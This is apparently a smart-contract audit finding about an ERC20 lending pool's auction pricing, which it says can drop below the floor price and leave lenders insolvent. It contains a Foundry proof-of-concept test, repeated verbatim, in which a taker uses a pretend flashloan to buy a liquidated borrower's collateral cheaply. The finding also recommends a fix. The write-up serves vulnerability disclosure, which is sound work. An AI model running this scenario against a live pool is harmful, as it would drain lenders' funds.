Auction timers following liquidity can fall through the floor price causing pool insolvency
When a borrower cannot pay their debt in an ERC20 pool, their position is liquidated and their assets enter an auction for other users to purchase small pieces of their assets. Because of the incentive that users wish to not pay above the standard market price for a token, users will generally wait until assets on auction are as cheap as possible to purchase however, this is flawed because this guarantees a loss for all lenders participating in the protocol with each user that is liquidated.\\nConsider a situation where a user decides to short a coin through a loan and refuses to take the loss to retain the value of their position. When the auction is kicked off using the `kick()` function on this user, as time moves forward, the price for puchasing these assets becomes increasingly cheaper. These prices can fall through the floor price of the lending pool which will allow anybody to buy tokens for only a fraction of what they were worth originally leading to a state where the pool cant cover the debt of the user who has not paid their loan back with interest. The issue lies in the `_auctionPrice()` function of the `Auctions.sol` contract which calculates the price of the auctioned assets for the taker. This function does not consider the floor price of the pool. The proof of concept below outlines this scenario:\\nProof of Concept:\\n```\\n    function testInsolvency() public {\\n        \\n        // ============== Setup Scenario ==============\\n        uint256 interestRateOne = 0.05 * 10**18;           // Collateral  // Quote (loaned token, short position)\\n        address poolThreeAddr = erc20PoolFactory.deployPool(address(dai), address(weth), interestRateOne);\\n        ERC20Pool poolThree = ERC20Pool(address(poolThreeAddr));\\n        vm.label(poolThreeAddr, "DAI / WETH Pool Three");\\n\\n        // Setup scenario and send liquidity providers some tokens\\n        vm.startPrank(address(daiDoner));\\n        dai.transfer(address(charlie), 3200 ether);\\n        vm.stopPrank();\\n\\n        vm.startPrank(address(wethDoner));\\n        weth.transfer(address(bob), 1000 ether);\\n        vm.stopPrank();\\n\\n        // ==============================================\\n\\n\\n        // Note At the time (24/01/2023) of writing ETH is currently 1,625.02 DAI,\\n        // so this would be a popular bucket to deposit in.\\n\\n        // Start Scenario\\n        // The lower dowm we go the cheaper wETH becomes - At a concentrated fenwick index of 5635, 1 wETH = 1600 DAI (Approx real life price)\\n        uint256 fenwick = 5635;\\n\\n        vm.startPrank(address(alice));\\n        weth.deposit{value: 2 ether}();\\n        weth.approve(address(poolThree), 2.226 ether);\\n        poolThree.addQuoteToken(2 ether, fenwick); \\n        vm.stopPrank();\\n\\n        vm.startPrank(address(bob));\\n        weth.deposit{value: 9 ether}();\\n        weth.approve(address(poolThree), 9 ether);\\n        poolThree.addQuoteToken(9 ether, fenwick); \\n        vm.stopPrank();\\n\\n        assertEq(weth.balanceOf(address(poolThree)), 11 ether);\\n\\n\\n        // ======================== start testing ========================\\n\\n        vm.startPrank(address(bob));\\n        bytes32 poolSubsetHashes = keccak256("ERC20_NON_SUBSET_HASH");\\n        IPositionManagerOwnerActions.MintParams memory mp = IPositionManagerOwnerActions.MintParams({\\n            recipient: address(bob),\\n            pool: address(poolThree),\\n            poolSubsetHash: poolSubsetHashes\\n        });\\n        positionManager.mint(mp);\\n        positionManager.setApprovalForAll(address(rewardsManager), true);\\n        rewardsManager.stake(1);\\n        vm.stopPrank();\\n\\n\\n        assertEq(dai.balanceOf(address(charlie)), 3200 ether);\\n        vm.startPrank(address(charlie)); // Charlie runs away with the weth tokens\\n        dai.approve(address(poolThree), 3200 ether);\\n        poolThree.drawDebt(address(charlie), 2 ether, fenwick, 3200 ether);\\n        vm.stopPrank();\\n\\n        vm.warp(block.timestamp + 62 days);\\n\\n\\n        vm.startPrank(address(bob));\\n        weth.deposit{value: 0.5 ether}();\\n        weth.approve(address(poolThree), 0.5 ether);\\n        poolThree.kick(address(charlie)); // Kick off liquidation\\n        vm.stopPrank();\\n\\n        vm.warp(block.timestamp + 10 hours);\\n\\n        assertEq(weth.balanceOf(address(poolThree)), 9020189981190878108); // 9 ether\\n\\n\\n        vm.startPrank(address(bob));\\n        // Bob Takes a (pretend) flashloan of 1000 weth to get cheap dai tokens\\n        weth.approve(address(poolThree), 1000 ether);\\n        poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n        weth.approve(address(poolThree), 1000 ether);\\n        poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n        weth.approve(address(poolThree), 1000 ether);\\n        poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n        weth.approve(address(poolThree), 1000 ether);\\n        poolThree.take(address(charlie), 1000 ether, address(bob), "");\\n        \\n        poolThree.settle(address(charlie), 100);\\n        vm.stopPrank();\\n\\n\\n        assertEq(weth.balanceOf(address(poolThree)), 9152686732755985308); // Pool balance is still 9 ether instead of 11 ether - insolvency. \\n        assertEq(dai.balanceOf(address(bob)), 3200 ether); // The original amount that charlie posted as deposit\\n\\n\\n        vm.warp(block.timestamp + 2 hours);\\n        // users attempt to withdraw after shaken by a liquidation\\n        vm.startPrank(address(alice));\\n        poolThree.removeQuoteToken(2 ether, fenwick);\\n        vm.stopPrank();\\n\\n        vm.startPrank(address(bob));\\n        poolThree.removeQuoteToken(9 ether, fenwick);\\n        vm.stopPrank();\\n\\n        assertEq(weth.balanceOf(address(bob)), 1007664981389220443074); // 1007 ether, originally 1009 ether\\n        assertEq(weth.balanceOf(address(alice)), 1626148471550317418); // 1.6 ether, originally 2 ether\\n\\n    }\\n```\\n
It's recommended that the price of the assets on auction consider the fenwick(s) being used when determining the price of assets on loan and do not fall below that particular index. With this fix in place, the worst case scenario is that lenders can pruchase these assets for the price they were loaned out for allowing them to recover the loss.
An increase in borrowers who cant pay their debts back will result in a loss for all lenders.
```\\n    function testInsolvency() public {\\n        \\n        // ============== Setup Scenario ==============\\n        uint256 interestRateOne = 0.05 * 10**18;           // Collateral  // Quote (loaned token, short position)\\n        address poolThreeAddr = erc20PoolFactory.deployPool(address(dai), address(weth), interestRateOne);\\n        ERC20Pool poolThree = ERC20Pool(address(poolThreeAddr));\\n        vm.label(poolThreeAddr, "DAI / WETH Pool Three");\\n\\n        // Setup scenario and send liquidity providers some tokens\\n        vm.startPrank(address(daiDoner));\\n        dai.transfer(address(charlie), 3200 ether);\\n        vm.stopPrank();\\n\\n        vm.startPrank(address(wethDoner));\\n        weth.transfer(address(bob), 1000 ether);\\n        vm.stopPrank();\\n\\n        // ==============================================\\n\\n\\n        // Note At the time (24/01/2023) of writing ETH is currently 1,625.02 DAI,\\n        // so this would be a popular bucket to deposit in.\\n\\n        // Start Scenario\\n        // The lower dowm we go the cheaper wETH becomes - At a concentrated fenwick index of 5635, 1 wETH = 1600 DAI (Approx real life price)\\n        uint256 fenwick = 5635;\\n\\n        vm.startPrank(address(alice));\\n        weth.deposit{value: 2 ether}();\\n        weth.approve(address(poolThree), 2.226 ether);\\n        poolThree.addQuoteToken(2 ether, fenwick); \\n        vm.stopPrank();\\n\\n        vm.startPrank(address(bob));\\n        weth.deposit{value: 9 ether}();\\n        weth.approve(address(poolThree), 9 ether);\\n        poolThree.addQuoteToken(9 ether, fenwick); \\n        vm.stopPrank();\\n\\n        assertEq(weth.balanceOf(address(poolThree)), 11 ether);\\n\\n\\n        // ======================== start testing ========================\\n\\n        vm.startPrank(address(bob));\\n        bytes32 poolSubsetHashes = keccak256("ERC20_NON_SUBSET_HASH");\\n        IPositionManagerOwnerActions.MintParams memory mp = IPositionManagerOwnerActions.MintParams({\\n            recipient: address(bob),\\n            pool: address(poolThree),\\n            poolSubsetHash: poolSubsetHashes\\n        });\\n        positionManager.mint(mp);\\n        positionManager.setApprovalForAll(address(rewardsManager), true);\\n        rewardsManager.stake(1);\\n        vm.stopPrank();\\n\\n\\n        assertEq(dai.balanceOf(address(charlie)), 3200 ether);\\n        vm.startPrank(address(charlie)); // Charlie runs away with the weth tokens\\n        dai.approve(address(poolThree), 3200 ether);\\n        poolThree.drawDebt(address(charlie), 2 ether, fenwick, 3200 ether);\\n        vm.stopPrank();\\n\\n        vm.warp(block.timestamp + 62 days);\\n\\n\\n        vm.startPrank(address(bob));\\n        weth.deposit{value: 0.5 ether}();\\n        weth.approve(address(poolThree), 0.5 ether);\\n        poolThree.kick(address(charlie)); // Kick off liquidation\\n        vm.stopPrank();\\n\\n        vm.warp(block.timestamp + 10 hours);\\n\\n        assertEq(weth.balanceOf(address(poolThree)), 9020189981190878108); // 9 ether\\n\\n\\n        vm.startPrank(address(bob));\\n        // Bob Takes a (pretend) flashloan of 1000 weth to get cheap dai tokens\\n        weth.approve(address(poolThree), 1000 ether);\\n        poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n        weth.approve(address(poolThree), 1000 ether);\\n        poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n        weth.approve(address(poolThree), 1000 ether);\\n        poolThree.take(address(charlie), 1000 ether , address(bob), "");\\n        weth.approve(address(poolThree), 1000 ether);\\n        poolThree.take(address(charlie), 1000 ether, address(bob), "");\\n        \\n        poolThree.settle(address(charlie), 100);\\n        vm.stopPrank();\\n\\n\\n        assertEq(weth.balanceOf(address(poolThree)), 9152686732755985308); // Pool balance is still 9 ether instead of 11 ether - insolvency. \\n        assertEq(dai.balanceOf(address(bob)), 3200 ether); // The original amount that charlie posted as deposit\\n\\n\\n        vm.warp(block.timestamp + 2 hours);\\n        // users attempt to withdraw after shaken by a liquidation\\n        vm.startPrank(address(alice));\\n        poolThree.removeQuoteToken(2 ether, fenwick);\\n        vm.stopPrank();\\n\\n        vm.startPrank(address(bob));\\n        poolThree.removeQuoteToken(9 ether, fenwick);\\n        vm.stopPrank();\\n\\n        assertEq(weth.balanceOf(address(bob)), 1007664981389220443074); // 1007 ether, originally 1009 ether\\n        assertEq(weth.balanceOf(address(alice)), 1626148471550317418); // 1.6 ether, originally 2 ether\\n\\n    }\\n```\\n